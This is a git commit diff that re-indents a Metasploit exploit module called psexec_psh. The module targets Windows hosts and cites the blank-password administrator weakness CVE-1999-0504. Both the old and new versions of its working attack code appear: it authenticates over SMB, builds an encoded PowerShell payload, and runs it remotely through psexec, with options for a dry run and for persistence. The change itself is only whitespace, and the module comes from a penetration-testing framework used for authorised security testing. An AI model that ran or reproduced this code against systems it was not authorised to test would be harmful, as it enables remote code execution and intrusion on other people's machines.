Retab psexec_psh
parent
3cbf768d16
commit
c5007f67ab
|
@ -36,64 +36,64 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
|
||||
'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106'],
|
||||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
|
||||
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
||||
]
|
||||
))
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'WfsDelay' => 10,
|
||||
'EXITFUNC' => 'thread'
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
|
||||
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 01 1999',
|
||||
'References' => [
|
||||
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
|
||||
[ 'OSVDB', '3106'],
|
||||
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
|
||||
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
|
||||
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
|
||||
]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
|
||||
], self.class)
|
||||
end
|
||||
register_options([
|
||||
OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def exploit
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
if datastore['DryRun']
|
||||
print_good command.inspect
|
||||
return
|
||||
end
|
||||
def exploit
|
||||
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||
if datastore['DryRun']
|
||||
print_good command.inspect
|
||||
return
|
||||
end
|
||||
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
|
||||
print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
|
||||
end
|
||||
|
||||
# Try and authenticate with given credentials
|
||||
if connect
|
||||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
end
|
||||
# Execute the powershell command
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
begin
|
||||
return psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
# Try and authenticate with given credentials
|
||||
if connect
|
||||
begin
|
||||
smb_login
|
||||
rescue StandardError => autherror
|
||||
fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
|
||||
end
|
||||
# Execute the powershell command
|
||||
print_status("#{peer} - Executing the payload...")
|
||||
begin
|
||||
return psexec(command)
|
||||
rescue StandardError => exec_command_error
|
||||
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
|
||||
ensure
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def peer
|
||||
return "#{rhost}:#{rport}"
|
||||
|
|
Loading…
Reference in New Issue